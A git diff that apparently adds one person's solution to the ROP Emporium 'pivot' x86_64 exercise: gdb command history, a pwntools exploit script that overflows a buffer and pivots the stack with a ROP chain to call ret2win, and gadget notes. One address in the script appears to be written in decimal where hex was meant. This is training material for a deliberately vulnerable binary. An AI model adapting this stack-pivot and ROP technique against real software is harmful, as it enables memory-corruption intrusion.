diff options
Diffstat (limited to 'x86_64/pivot')
| -rw-r--r-- | x86_64/pivot/.gdb_history | 145 | ||||
| -rwxr-xr-x | x86_64/pivot/exploit.py | 43 | ||||
| -rw-r--r-- | x86_64/pivot/gadgets | 44 | ||||
| -rw-r--r-- | x86_64/pivot/stest | bin | 0 -> 122 bytes | |||
| -rw-r--r-- | x86_64/pivot/test | 12 |
5 files changed, 244 insertions, 0 deletions
diff --git a/x86_64/pivot/.gdb_history b/x86_64/pivot/.gdb_history new file mode 100644 index 0000000..9802b5f --- /dev/null +++ b/x86_64/pivot/.gdb_history @@ -0,0 +1,145 @@ +starti +context +break *pwnme +continue +context +x/i 0x7f2041e78f10 +stepi +return +stepi +nexti +nexti +stepi +return +nexti +q +quit +exit +exit +quit +quit +quit +quit +continue +stepi +quit +quit +continue +stepi +return +nexti +asdf +continue +nexti +continue +nexti +continue +context +help +nexti +quit +quit +continue +continue +quit +quit +continue +stepi +nexti +quit +quit +continue +nexti +quit +continue +exit +quit +continue +quit +continue +quit +continue +continue +quit +continue +break *pwnme + 181 +continue +x/i pwnme + 181 +x/i *pwnme + 181 +x/i *pwnme + 180 +x/i *pwnme +x/100i *pwnme +x/10i *pwnme +x/20i *pwnme +x/30i *pwnme +x/20i *pwnme +quit +continue +stepi +stepi +stepi +stepi +info reg rax +stepi +stepi +info reg rsp +x/x rsp +x/x $rsp +x/x *$rsp +x/x $rsp +quit +continue +Quit +quit +continue +continue +quit +continue +continue +quit +continue +quit +continue +continue +continue +quit +continue +nexti +quit +continue +nexti +x/x $edi +nexti +nexti +x/x $edi +nexti +x/i 0x7f3a079a95a3 +quit +continue +continue +quit +quit +continue +quit +continue +continue +nexti +nexti +info reg rax +x/x $rax +stepi +stepi +stepi +stepi +return +context +stepi +info reg rbp +stepi +info reg rbp +stepi +info reg rax +info reg rbp +info 0x60103a +x/x 0x60103a +quit diff --git a/x86_64/pivot/exploit.py b/x86_64/pivot/exploit.py new file mode 100755 index 0000000..a46b0cd --- /dev/null +++ b/x86_64/pivot/exploit.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 +from pwn import * +from os import getcwd +import re + +#context.terminal = ['kitty', 'sh', '-c'] +print(context.terminal) + +prog = gdb.debug('./pivot', gdbscript=''' + b pwnme + b *0x4009a5 +''' + +) + +payload = b'' +payload += p64(0x0000000000400720) # foothold@plt + +payload += p64(0x4009bb) # pop rax +payload += p64(601040) # foothold@plt's .got.plt entry + +payload += p64(0x00000000004007c8) # pop rbp +payload += p64(279) # should be the offset of pwnem from foothold's .got.plt + +payload += p64(0x4009c4) # adds the two + +payload += p64(0x00000000004007c1) # jmp rax +prog.sendline(payload) +pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16) +print(hex(pivit_location)) + +payload = b'' +#buffer overflow +for c in range(40): + payload += b'a' + +payload += p64(0x4009bb) # pop rax +payload += p64(pivit_location) # pivot location +payload += p64(0x4009bd) # xchg rsp,rax + +prog.sendlineafter('Now please send your stack smash', payload) +prog.interactive() + diff --git a/x86_64/pivot/gadgets b/x86_64/pivot/gadgets new file mode 100644 index 0000000..7e442a8 --- /dev/null +++ b/x86_64/pivot/gadgets @@ -0,0 +1,44 @@ +Goal is to call ret2win from libpivot +we don't know where ret2win is, but we do know where foothold_function is + +pivot is at 0x7f2041e78f10 +0x0000000000400720 : foothold_function@plt +0x000000000000096a : foothold_function + +resolve ret2win: +1: resolve foothold_function + resolved foothold: [0x400720 + 0x20091a] + offset of foothold vs + +2: ret2win = [0x400720 + 0x20091a] + 279 + +64 rop chains possible at 0x7eff3d368f10 +6 rop chains possible at buffer overflow + +0x00000000004007c8 : pop rbp ; ret +0x00000000004007c1 : jmp rax + +00000000004009bb <usefulGadgets>: + 4009bb: 58 pop rax + 4009bc: c3 ret + + 4009bd: 48 94 xchg rsp,rax + 4009bf: c3 ret + + 4009c0: 48 8b 00 mov rax,QWORD PTR [rax] + 4009c3: c3 ret + + 4009c4: 48 01 e8 add rax,rbp + 4009c7: c3 ret + +1: resolve foothold (2) +4: pop rax (rax is 0x400720 + 0x20091a) +5: pop rbp (rpb is 279) +6: add rax, rbp +7: mov rax, [rax] +8: jmp rax + + +2: pop rax (4) +3: xchg rsp,rax (5) + diff --git a/x86_64/pivot/stest b/x86_64/pivot/stest Binary files differnew file mode 100644 index 0000000..c7a6ee1 --- /dev/null +++ b/x86_64/pivot/stest diff --git a/x86_64/pivot/test b/x86_64/pivot/test new file mode 100644 index 0000000..181b82a --- /dev/null +++ b/x86_64/pivot/test @@ -0,0 +1,12 @@ +pivot by ROP Emporium +x86_64 + +Call ret2win() from libpivot +The Old Gods kindly bestow upon you a place to pivot: 0x7f93a9160f10 +Send a ROP chain now and it will land there +> Thank you! + +Now please send your stack smash +> Thank you! + +Exiting |